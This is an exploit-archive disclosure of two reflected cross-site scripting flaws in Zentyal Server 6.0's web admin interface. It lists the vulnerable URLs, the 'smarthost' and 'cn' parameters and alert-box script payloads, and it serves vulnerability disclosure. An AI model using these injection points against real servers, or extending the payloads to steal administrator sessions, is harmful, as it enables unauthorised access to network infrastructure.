Zentyal Server Development Edition 6.0 Cross Site Scripting

`##################################################################################################################################  
# Exploit Title: Zentyal Server Development Edition 6.0 | Cross-Site  
Scripting  
# Date: 27.02.2019  
# Exploit Author: Ozer Goker  
# Vendor Homepage: http://www.zentyal.org  
# Software Link:  
http://download.zentyal.com/zentyal-6.0-development-amd64.iso  
# Version: 6.0  
##################################################################################################################################  
  
Introduction  
  
Zentyal Server (formerly eBox Platform) is a commercial unified network  
server that offers easy and efficient computer network administration for  
small and medium-size businesses. It can act as a gateway, an  
infrastructure manager, a unified threat manager, an office server, a  
unified communication server or a combination of them. These  
functionalities are tightly integrated, automating most tasks, avoiding  
mistakes and saving time for system administrators. Zentyal is released  
under the GNU General Public License (GPL) and runs on top of Ubuntu.  
  
#################################################################################  
  
XSS details  
  
#################################################################################  
  
  
XSS1 | Reflected  
  
URL  
https://192.168.2.200:8443/Mail/Controller/SMTPOptions  
  
METHOD  
Post  
  
PARAMETER  
smarthost  
  
PAYLOAD  
<script>alert(1)</script>  
  
  
#################################################################################  
  
  
XSS2 | Reflected  
  
URL  
https://192.168.2.200:8443/CA/Controller/Certificates  
  
METHOD  
Post  
  
PARAMETER  
cn  
  
PAYLOAD  
<script>alert(2)</script>  
  
  
#################################################################################  
`